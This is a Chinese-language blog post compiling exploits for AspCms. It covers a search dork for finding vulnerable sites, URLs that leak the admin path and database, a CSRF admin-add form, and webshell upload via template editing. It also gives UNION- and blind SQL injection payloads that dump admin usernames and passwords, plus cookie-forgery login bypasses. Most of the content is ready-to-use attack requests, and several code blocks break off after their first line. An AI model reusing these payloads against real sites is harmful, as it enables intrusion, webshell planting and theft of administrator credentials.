Aspcms漏洞集合
搜索关键词:intitle:Powered by AspCms2
后台地址泄露
浏览器访问:
1 | http://xxx.com/plug/oem/AspCms_OEM.asp |
即可弹出错误提示,然后重定向用户到真正的后台地址。。。
点击确定,跳转到后台
数据库信息泄露
在ASPCMS2.3.x中,ASPCMS的数据库在/data/目录下,为了防止数据库被下载,把数据库文件data.mdb重新命名为#data.asp,由于设置不当,使用%23编码#即可绕过访问,导致信息泄漏:
1 | http://127.0.0.1/data/%23data.asp |
在最新版的2.5.2中,把数据库文件aspcms252.mdb重新命名为#aspcms252.asp,由于配置不当,使用%23编码#即可绕过访问,导致信息泄漏:
1 | http://127.0.0.1/data/%23aspcms252.asp |
V2.5.6权限提升漏洞
注册普通用户的时候抓包,修改Gender参数的值(括号后面为%16 URL-decode后的字符):
成功登录管理后台:
V2.5.2 CSRF添加管理员及GetShell
后台添加管理员的请求如下:
1 | 链接:http://10.65.203.100:90/admin_aspcms/_user/_Admin/AspCms_AdminAdd.asp?action=add |
可以看到没有防御CSRF,我们构造伪造表单:
1 | <FORM name="form" action="http://10.65.203.100:90/admin_aspcms/_user/_Admin/AspCms_AdminAdd.asp?action=add" method="post" > |
CSRF直接GetShell:
后台编辑模板时,发送请求如下,我们可以添加模板的filename和filetext:
1 | http://10.65.203.100:90/admin_aspcms/_style/AspCms_TemplateAdd.asp?acttype=html&action=add |
再此过程中也没有做任何验证,而且对添加模板的文件名也没有严格处理,导致CSRF直接获取webshell:
shell地址为:
1 | http://10.65.203.100:90//Templates/cn2014/html/111111.asp;111111.html |
投票站后台登录漏洞
aspcms开源投票系统的后台管理登录页面对输入字符过滤不完善,可构造特定字符登录管理页面`
/admin/check.asp中仅对用户输入的小写or and进行了过滤,当用户构造**admin’ OR ‘’=’**的大写用户名时,可直接以管理员身份登录后台。
AspCms_ContentFun.asp SQL注入
漏洞存在于/admin_aspcms/_content/_Content/AspCms_ContentFun.asp,这个文件未验证管理员权限,因此如何人都可以访问,同时该文件对获取的参数没有使用自定义的filterPara函数过滤,导致多处注入
payload:
1 | http://192.168.116.130/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=97),2,chr(97)) |
查询管理员用户名第一个字符是否为a
1 | http://192.168.116.130/aspcms/admin_aspcms/_content/_Content/AspCms_ContentFun.asp?action=tdel&id=2=iif(((select asc(mid(LoginName,1,1)) from AspCms_User where UserID=1)=98),2,chr(97)) |
查询管理员用户名第一个字符是否为b
如图,返回为假,强制报错:
静态生成Getshell
在发表文章中写入shell代码 会解析执行.
针对低版本Apache容器和iis6 均引发该问题
自定义生成.
GetShell
后台文件无验证注入+ cookies欺骗
apscms2.1.4 GBK版
后台注入
1 | http://www.aspcms.com/admin/_content/_About/AspCms_AboutEdit.asp?id=1%20and%201=2%20union%20select%201,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35%20from%20aspcms_user%20where%20userid=1 |
版本不同需要更改值。
Cookies欺骗
在不知道管理员账号密码,我们可以利用Cookies欺骗进入后台
1 | cookies:username=admin; ASPSESSIONIDAABTAACS=IHDJOJACOPKFEEENHHMJHKLG; LanguageAlias=cn; LanguagePath=%2F; languageID=1; adminId=1; adminName=admin; groupMenu=1%2C+70%2C+10%2C+11%2C+12%2C+13%2C+14%2C+20%2C+68%2C+15%2C+16%2C+17%2C+18%2C+3%2C+25%2C+57%2C+58%2C+59%2C+2%2C+21%2C+22%2C+23%2C+24%2C+4%2C+27%2C+28%2C+29%2C+5%2C+49%2C+52%2C+56%2C+30%2C+51%2C+53%2C+54%2C+55%2C+188%2C+67%2C+63%2C+190%2C+184%2C+86%2C+6%2C+32%2C+33%2C+34%2C+8%2C+37%2C+183%2C+38%2C+60%2C+9; GroupName=%B3%AC%BC%B6%B9%DC%C0%ED%D4%B1%D7%E9 |
把后台登陆中的login.asp改成index.asp直接进入后台
webshell获取
所有版本存在后台编辑风格 可以修改任意文件,获取webshell就很简单了
1 | AspCms_TemplateEdit.asp?acttype=&filename=../../../index.asp |
V1.5版SQL注入
/plug/productbuy.asp 对接收的参数id没有进行过滤而导致的注入漏洞,注入后的页面有跳转,所以要快,建议用快捷键复制
爆用户名EXP:
1 | http://www.***.com/plug/productbuy.asp?id=2+union+select+1,2,LoginName,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1 |
这是爆ID=1的账户名,如果发现权限不够可以往后试2,3,4………..
爆密码:
1 | http://www.webshell.cc/plug/productbuy.asp?id=2+union+select+1,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+AspCms_User+where+userid=1 |
任意用户密码重置漏洞
aspcms会员中心的某些页面,对用户的验证存在缺陷,修改cookie后提交即可重置任意用户的帐号信息
1 | 'member/reg.asp |
V2.2.9 登录绕过漏洞
ASPCMS是国内一款非常流行的CMS 建站系统,其2.2.9版本inc/AspCms_CommonFun.asp文件,在问题函数checkLogin中,
line 1152:只检测了从cookie取出的adminName是否为空,只要adminName不为空即可绕过第一个检测逻辑,
line 1157又检测了Permissions是否等于all,所以当构造cookie中Permissions的值为all即可绕过第二个检测逻辑,
在line 1162检测了从cookie中取出的adminrand值是否为空,只要adminrand不为空即可绕过第三个检测逻辑,
在line 1163对从cookie里面取出的adminName带入sql语句进行查询,要是查询结果不唯一或者为空的话,程序就提示失败,所以当adminName注入一条语句之后便使得逻辑正确,将成功绕过登录。
代码如下:
1 | Function checkLogin() |
payload:
1 | groupMenu=all; |
commentList.asp SQL注入
payload:
1 | /plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user |
返回后台账号和密码的MD5。
1 | from bs4 import BeautifulSoup as bs |
结语
以上内容均来自互联网,感谢大佬们的无私分享,博主只是整理汇总。